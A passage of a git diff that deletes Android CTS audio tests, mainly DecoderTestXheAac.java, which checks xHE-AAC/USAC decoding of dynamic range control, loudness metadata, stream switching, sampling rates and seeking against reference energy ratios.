-                    noOutputCounter = 0;
-                }
-
-                int outputBufIndex = res;
-                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
-
-                if (decodedIdx + (info.size / 2) >= decoded.length) {
-                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
-                }
-
-                buf.position(info.offset);
-                for (int i = 0; i < info.size; i += 2) {
-                    decoded[decodedIdx++] = buf.getShort();
-                }
-
-                decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
-
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    sawOutputEOS = true;
-                }
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = decoder.getOutputBuffers();
-                Log.d(TAG, "output buffers have changed.");
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat outputFormat = decoder.getOutputFormat();
-                audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                Log.i(TAG, "output format has changed to " + outputFormat);
-            } else {
-                Log.d(TAG, "dequeueOutputBuffer returned " + res);
-            }
-        }
-        if (noOutputCounter >= 50) {
-            fail("decoder stopped outputing data");
-        }
-        decoder.stop();
-        decoder.release();
-        extractor.release();
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
deleted file mode 100755
index d0052da..0000000
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ /dev/null
@@ -1,1553 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.cts.DecoderTest.AudioParameter;
-import android.media.cts.DecoderTestAacDrc.DrcParams;
-import android.os.Build;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-@AppModeFull(reason = "DecoderTest is non-instant")
-@RunWith(JUnit4.class)
-public class DecoderTestXheAac {
-    private static final String TAG = "DecoderTestXheAac";
-
-    private static final boolean sIsAndroidRAndAbove =
-            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-
-    private Resources mResources;
-
-    // list of all AAC decoders as enumerated through the MediaCodecList
-    // lazy initialization in setUp()
-    private static ArrayList<String> sAacDecoderNames;
-    private static String defaultAacDecoder = null;
-    @Before
-    public void setUp() throws Exception {
-        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
-        assertNotNull(inst);
-        mResources = inst.getContext().getResources();
-        // build a list of all AAC decoders on which to run the test
-        if (sAacDecoderNames == null) {
-            sAacDecoderNames = initAacDecoderNames();
-        }
-    }
-
-    protected static ArrayList<String> initAacDecoderNames() throws IOException {
-        ArrayList<String> aacDecoderNames = new ArrayList<String>(1);
-        // Default aac decoder (the one that gets created when createDecoderByType with AAC mime
-        // is called) is expected to pass all DRC tests
-        if (defaultAacDecoder != null) {
-            aacDecoderNames.add(defaultAacDecoder);
-        } else {
-            MediaCodec decoder = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
-            aacDecoderNames.add(decoder.getName());
-            defaultAacDecoder = decoder.getName();
-            decoder.release();
-        }
-        // Add all decoders that advertise support for AACObjectXHE profile as decoders that
-        // support xHE-AAC profile are expected to support DRC
-        MediaFormat format = MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000,
-                2);
-        // Set both KEY_AAC_PROFILE and KEY_PROFILE as some codecs may only recognize one of
-        // these two keys
-        format.setInteger(MediaFormat.KEY_AAC_PROFILE,
-                MediaCodecInfo.CodecProfileLevel.AACObjectXHE);
-        format.setInteger(MediaFormat.KEY_PROFILE, MediaCodecInfo.CodecProfileLevel.AACObjectXHE);
-
-        final MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        final MediaCodecInfo[] mediaCodecInfos = mediaCodecList.getCodecInfos();
-        for (MediaCodecInfo mediaCodecInfo : mediaCodecInfos) {
-            if (mediaCodecInfo.isAlias()) {
-                continue;
-            }
-            if (mediaCodecInfo.isEncoder()) {
-                continue;
-            }
-            final String codecName = mediaCodecInfo.getName();
-            final String[] mimeTypes = mediaCodecInfo.getSupportedTypes();
-            for (String mimeType : mimeTypes) {
-                if (MediaFormat.MIMETYPE_AUDIO_AAC.equalsIgnoreCase(mimeType)) {
-                    MediaCodecInfo.CodecCapabilities caps = mediaCodecInfo.getCapabilitiesForType(
-                            mimeType);
-                    if (caps.isFormatSupported(format)) {
-                        if (!aacDecoderNames.contains(codecName)) {
-                            aacDecoderNames.add(codecName);
-                        }
-                    }
-                    break;
-                }
-            }
-        }
-        return aacDecoderNames;
-    }
-
-    /**
-     * Verify the correct decoding of USAC bitstreams with different MPEG-D DRC effect types.
-     */
-    @Test
-    public void testDecodeUsacDrcEffectTypeM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacDrcEffectTypeM4a");
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacDrcEffectTypeM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
-        Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
-        // test DRC effectTypeID 1 "NIGHT"
-        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-        try {
-            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 2 "NOISY"
-        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        try {
-            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 3 "LIMITED"
-        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        try {
-            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-        try {
-            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 1 "NIGHT"
-        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        try {
-            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 2 "NOISY"
-        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
-        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-        try {
-            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 3 "LIMITED"
-        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-        try {
-            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test DRC effectTypeID 6 "GENERAL"
-        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
-        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        try {
-            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * Verify the correct decoding of USAC bitstreams with album mode.
-     */
-    @Test
-    public void testDecodeUsacDrcAlbumModeM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacDrcAlbumModeM4a");
-
-        // Album mode is R feature
-        if (!MediaUtils.check(sIsAndroidRAndAbove, "Album mode support requires Android R"))
-                return;
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacDrcAlbumModeM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacDrcAlbumModeM4a(String aacDecName) throws Exception {
-        // test DRC Album Mode
-        // Track loudness = -19dB
-        // Album Loudness = -21 dB
-        // Fading Gains = -6 dB
-        // Album Mode ON : Gains = -24 - (-21) = -3dB
-        // Album Mode OFF : Gains = (-24 -(-19)) + (-6) = -11 dB
-        try {
-            checkUsacDrcAlbumMode(R.raw.noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcAlbumModeM4a for decoder" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * Verify the correct decoding of USAC bitstreams with config changes.
-     */
-    @Test
-    public void testDecodeUsacStreamSwitchingM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacStreamSwitchingM4a");
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacStreamSwitchingM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
-        // Stereo
-        // switch between SBR ratios and stereo modes
-        try {
-            checkUsacStreamSwitching(2.5459829E12f, 2,
-                    R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // Mono
-        // switch between SBR ratios and stereo modes
-        try {
-            checkUsacStreamSwitching(2.24669126E12f, 1,
-                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // Stereo
-        // switch between USAC modes
-        try {
-            checkUsacStreamSwitching(2.1E12f, 2,
-                    R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // Mono
-        // switch between USAC modes
-        try {
-            checkUsacStreamSwitching(1.7E12f, 1,
-                    R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
-                    + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-    }
-
-    /**
-     * Verify the correct decoding of USAC bitstreams with various sampling rates.
-     */
-    @Test
-    public void testDecodeUsacSamplingRatesM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacSamplingRatesM4a");
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacSamplingRatesM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
-        try {
-            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
-            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
-            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
-            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
-            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
-            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
-                    aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * Verify the correct decoding of USAC bitstreams with different boost and attenuation settings
-     */
-    @Test
-    public void testDecodeUsacDrcBoostAndAttenuationM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacDrcBoostAndAttenuationM4a");
-
-        if (!MediaUtils.check(sIsAndroidRAndAbove, "Att/Boost corrected in Android R"))
-            return;
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacDrcBoostAndAttenuationM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacDrcBoostAndAttenuationM4a(String aacDecName) throws Exception {
-        Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a running for dec=" + aacDecName);
-        // test drcBoost and drcAttenuation parameters
-        // DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:64/127)) = 1.9844f
-        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
-        try {
-            checkUsacDrcBoostAndAttenuation(1.9844f, 1.0f, 64, 127, 2, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drcBoost and drcAttenuation parameters
-        // DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
-        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:64/127)) = 0.7099f
-        try {
-            checkUsacDrcBoostAndAttenuation(1.0f, 0.7099f, 127, 64, 2, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drcBoost and drcAttenuation parameters
-        // DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:0/127)) = 3.9811f
-        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
-        try {
-            checkUsacDrcBoostAndAttenuation(3.9811f, 1.0f, 0, 127, 2, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drcBoost and drcAttenuation parameters
-        // DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
-        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:0/127)) = 0.5012f
-        try {
-            checkUsacDrcBoostAndAttenuation(1.0f, 0.5012f, 127, 0, 2, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * verify the correct decoding of USAC bitstreams when different kinds of loudness values
-     * are present
-     */
-    @Test
-    public void testDecodeUsacDrcLoudnessPreferenceM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacDrcLoudnessPreferenceM4a");
-
-        if (!MediaUtils.check(sIsAndroidRAndAbove, "Loudness preference in Android R"))
-            return;
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacDrcLoudnessPreferenceM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacDrcLoudnessPreferenceM4a(String aacDecName) throws Exception {
-        Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a running for dec=" + aacDecName);
-        // test drc loudness preference
-        // anchor loudness (-17 LUFS) and program loudness (-19 LUFS) are present in one stream
-        // -> anchor loudness should be selected
-        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
-        // checked against the energy of the decoded signal without loudness normalization
-        // normfactor = loudness of waveform - targetLoudnessLevel = -1dB = 0.7943
-        try {
-            checkUsacDrcLoudnessPreference(
-                    R.raw.noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4, 0.7943f, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drc loudness preference
-        // expert loudness (-23 LUFS) and program loudness (-19 LUFS) are present in one stream
-        // -> expert loudness should be selected
-        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
-        // checked against the energy of the decoded signal without loudness normalization
-        // normfactor = loudness of waveform - targetLoudnessLevel = -7dB = 0.1995
-        try {
-            checkUsacDrcLoudnessPreference(
-                    R.raw.noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4, 0.1995f, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * Verify that the correct output loudness values are returned when decoding USAC bitstreams
-     */
-    @Test
-    public void testDecodeUsacDrcOutputLoudnessM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacDrcOutputLoudnessM4a");
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacDrcOutputLoudnessM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacDrcOutputLoudnessM4a(String aacDecName) throws Exception {
-        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
-        // test drc output loudness
-        // testfile without loudness metadata and loudness normalization off -> expected value: -1
-        try {
-            checkUsacDrcOutputLoudness(
-                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, -1, -1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
-        // test drc output loudness
-        // testfile without loudness metadata and loudness normalization on
-        // -> expected value: -1
-        try {
-            checkUsacDrcOutputLoudness(
-                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, 64, -1, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drc output loudness
-        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
-        // -> expected value: loudness metadata in bitstream (-19*-4 = 76)
-        try {
-            checkUsacDrcOutputLoudness(
-                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, -1, 76, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drc output loudness
-        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
-        // -> expected value: loudness metadata in bitstream (-22*-4 = 88)
-        try {
-            checkUsacDrcOutputLoudness(
-                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, -1, 88, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-
-        // test drc output loudness
-        // testfile with MPEG-D DRC loudness metadata and loudness normalization on
-        // -> expected value: target loudness value (92)
-        try {
-            checkUsacDrcOutputLoudness(
-                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, 92, 92, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-    }
-
-
-    /**
-     * Verify that seeking works correctly for USAC.
-     * Sync samples have to be taken into consideration.
-     */
-    @Test
-    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
-        if(!sIsAndroidRAndAbove) {
-            // The fix for b/158471477 was released in mainline release 300802800
-            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11990700
-            final int MIN_VERSION = 300802800;
-            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media.swcodec", MIN_VERSION);
-            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media", MIN_VERSION);
-        }
-
-        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
-
-        for (String aacDecName : sAacDecoderNames) {
-            try {
-                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
-            } catch (Error err) {
-                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
-            }
-        }
-    }
-
-    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
-        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
-        // test usac seeking
-        try {
-            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
-            throw new RuntimeException(e);
-        }
-        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
-    }
-
-    /**
-     *  Internal utilities
-     */
-
-    /**
-     * USAC test DRC Effect Type
-     */
-    private void checkUsacDrcEffectType(int effectTypeID, float normFactor_L, float normFactor_R,
-                 String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
-                         throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            if (runtimeChange && !sIsAndroidRAndAbove) {
-                // changing decoder configuration after it has been initialized requires R and above
-                continue;
-            }
-            int testinput = -1;
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
-            DrcParams drcParams_test = new DrcParams(127, 127, 96, 0, effectTypeID);
-
-            if (aggressiveDrc == 0) {
-                testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
-            } else {
-                if (nCh == 2) {
-                    testinput = R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4;
-                } else if (nCh == 1){
-                    testinput = R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4;
-                }
-            }
-
-            short[] decSamples_def  = decodeToMemory(decParams, testinput,
-                    -1, null, drcParams_def, decoderName);
-            short[] decSamples_test = decodeToMemory(decParams, testinput,
-                    -1, null, drcParams_test, decoderName, runtimeChange);
-
-            float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
-            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
-
-            if (nCh == 2) {
-                float nrgRatio_L = (nrg_test[1]/nrg_def[1])/normFactor_L;
-                float nrgRatio_R = (nrg_test[2]/nrg_def[2])/normFactor_R;
-                if ((nrgRatio_R > 1.05f || nrgRatio_R < 0.95f)
-                        || (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f) ){
-                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
-                }
-            } else if (nCh == 1){
-                float nrgRatio_L = (nrg_test[0]/nrg_def[0])/normFactor_L;
-                if (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f){
-                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
-                }
-            }
-        }
-    }
-
-    /**
-     * USAC test stream switching
-     */
-    private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput,
-            String decoderName) throws Exception
-    {
-        AudioParameter decParams = new AudioParameter();
-        DrcParams drcParams      = new DrcParams(127, 127, 64, 0, -1);
-
-        // Check stereo stream switching
-        short[] decSamples = decodeToMemory(decParams, testinput,
-                -1, null, drcParams, decoderName);
-        float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, 1);
-
-        float nrgRatio = nrg[0] / nrg_ref;
-
-        // Check if energy levels are within 15% of the reference
-        // Energy drops within the decoded stream are checked by checkEnergyUSAC() within every
-        // 250ms interval
-        if (nrgRatio > 1.15f || nrgRatio < 0.85f ) {
-            throw new Exception("Config switching not as expected");
-        }
-    }
-
-    /**
-     * USAC test sampling rate
-     */
-    private void checkUsacSamplingRate(int testinput, String decoderName) throws Exception {
-        AudioParameter decParams  = new AudioParameter();
-        DrcParams drcParams_def   = new DrcParams(127, 127, 64, 0, -1);
-        DrcParams drcParams_test  = new DrcParams(127, 127, 96, 0, -1);
-
